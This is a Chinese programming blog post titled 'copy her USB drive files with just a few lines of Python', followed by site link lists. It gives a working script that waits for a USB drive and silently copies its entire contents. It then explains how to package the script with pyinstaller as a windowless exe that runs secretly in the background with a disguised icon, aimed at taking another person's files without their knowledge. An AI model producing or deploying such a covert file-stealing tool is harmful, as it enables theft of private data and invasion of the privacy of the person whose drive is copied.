仅用几行Python代码就能复制她的U盘文件?


Posted in Python onJune 26, 2021

代码

# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil
 
# U盘的盘符
usb_path = "E:/"
# 要复制到的路径
save_path = "D:/haha"
 
while (True):
    if os.path.exists(usb_path):
        shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
        break
    else:
        time.sleep(10)

上面就是所有的代码,代码有两个地方要改成你自己的路径,我在代码里注释了

  • usb_path就是U盘的盘符,比如你的电脑有C,D盘,那么U盘插上来以后路径就是E盘
  • save_path就是你要把复制的文件保存在哪里

Python文件打包成exe

1. 在命令行用pip安装 pyinstaller包

pip install pyinstaller

2.下载安装pyinstaler运行时所需要的windows扩展pywin32

mhammond/pywin32

选择最新版的下载,注意要选择对应的python版本(version)和python位数(bittedness)

通过在命令行输入python查看python版本和位数

如下所示为python3.6的32位,需要下载[pywin32-223.win32-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32

如下所示为python3.6的64位,需要下载[pywin32-223.win-amd64-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32

3.在命令行中直接输入下面的指令即可

pyinstaller [opts] yourprogram.py

参数含义

-F    指定打包后只生成一个exe格式的文件(建议写上这个参数)

-D    ?onedir 创建一个目录,包含exe文件,但会依赖很多文件(默认选项)

-c    ?console, ?nowindowed 使用控制台,无界面(默认)

-w    ?windowed, ?noconsole 使用窗口,无控制台

-p    添加搜索路径,让其找到对应的库。

-i    改变生成程序的icon图标(比如给女朋友写的程序,换个好看的图标,默认的很丑)

实例说明

比如你有个python程序叫test.py,绝对路径在[D:\project],打包成一个exe格式的文件

pyinstaller -F D:\project\test.py

条件同上,如果还希望没有控制台的黑框框,在进程中偷偷运行

pyinstaller -F -w D:\project\test.py

条件同上,如果还希望更换程序图标

pyinstaller -F -w -i D:\project\test.ico D:\project\test.py

运行程序

最后双击打开生成的exe文件,你看不到界面,但是可以在任务管理器的后台进程中找到,当有U盘插入,就会自动复制到你设定的地址,然后进程就会自动关闭。

仅用几行Python代码就能复制她的U盘文件?

到此这篇关于仅用几行Python代码就能复制她的U盘文件?的文章就介绍到这了,更多相关Python代码复制U盘文件内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
基python实现多线程网页爬虫
Sep 06 Python
Python基于二分查找实现求整数平方根的方法
May 12 Python
django rest framework之请求与响应(详解)
Nov 06 Python
Python用imghdr模块识别图片格式实例解析
Jan 11 Python
图解Python变量与赋值
Apr 03 Python
python http基本验证方法
Dec 26 Python
Python实现字符型图片验证码识别完整过程详解
May 10 Python
Python中if有多个条件处理方法
Feb 26 Python
Python3标准库之dbm UNIX键-值数据库问题
Mar 24 Python
python爬虫容易学吗
Jun 02 Python
python使用ctypes库调用DLL动态链接库
Oct 22 Python
Pytorch 中的optimizer使用说明
Mar 03 Python
总结几个非常实用的Python库
Jun 26 #Python
手残删除python之后的补救方法
Python办公自动化之教你用Python批量识别发票并录入到Excel表格中
Python Pandas模块实现数据的统计分析的方法
Jun 24 #Python
FP-growth算法发现频繁项集——发现频繁项集
能让Python提速超40倍的神器Cython详解
Jun 24 #Python
FP-growth算法发现频繁项集——构建FP树
You might like
Zend Studio 无法启动的问题解决方法
2008/12/04 PHP
PHP模板引擎Smarty内置变量调解器用法详解
2016/04/11 PHP
php生成微信红包数组的方法
2019/09/05 PHP
PHP pthreads v3在centos7平台下的安装与配置操作方法
2020/02/21 PHP
PHPstorm启用自动换行的方法详解(IDE)
2020/09/17 PHP
jquery调用asp.net 页面后台的实现代码
2011/04/27 Javascript
js怎么终止程序return不行换jfslk
2013/05/30 Javascript
关于页面嵌入swf覆盖div层的问题的解决方法
2014/02/11 Javascript
Extjs Label的 fieldLabel和html属性值对齐的方法
2014/06/15 Javascript
js防止DIV布局滚动时闪动的解决方法
2014/10/30 Javascript
node.js中的socket.io的广播消息
2014/12/15 Javascript
javascript中eval和with用法实例总结
2015/11/30 Javascript
使用jQuery5分钟快速搞定双色表格的简单实例
2016/08/08 Javascript
前端构建工具之gulp的配置与搭建详解
2017/06/12 Javascript
基于JavaScript实现无限加载瀑布流
2017/07/21 Javascript
微信小程序实现点击按钮修改view标签背景颜色功能示例【附demo源码下载】
2017/12/06 Javascript
JavaScript实现删除数组重复元素的5种常用高效算法总结
2018/01/18 Javascript
操作按钮悬浮固定在微信小程序底部的实现代码
2019/08/02 Javascript
JS JQuery获取data-*属性值方法解析
2020/09/01 jQuery
vue-cli脚手架的.babelrc文件用法说明
2020/09/11 Javascript
原生js实现自定义难度的扫雷游戏
2021/01/22 Javascript
python使用threading获取线程函数返回值的实现方法
2017/11/15 Python
Python面向对象之继承和组合用法实例分析
2018/08/27 Python
python 怎样将dataframe中的字符串日期转化为日期的方法
2019/09/26 Python
html5 利用canvas实现超级玛丽简单动画
2013/09/06 HTML / CSS
Html5原创俄罗斯方块(基于canvas)
2019/01/07 HTML / CSS
Skyscanner英国:苏格兰的全球三大领先航班搜索服务之一
2017/11/09 全球购物
trivago美国:全球最大的酒店价格比较网站
2018/01/18 全球购物
Dockers鞋官网:Dockers Shoes
2018/11/13 全球购物
英国最大的纸工艺品商店:CraftStash
2018/12/01 全球购物
定义一结构体变量,用其表示点坐标,并输入两点坐标,求两点之间的距离
2015/08/17 面试题
介绍一下except的用法和作用
2015/01/22 面试题
如何理解transaction事务的概念
2015/05/27 面试题
节约用电倡议书
2015/04/28 职场文书
2016党员干部廉政准则学习心得体会
2016/01/20 职场文书
MySQL导致索引失效的几种情况
2022/06/25 MySQL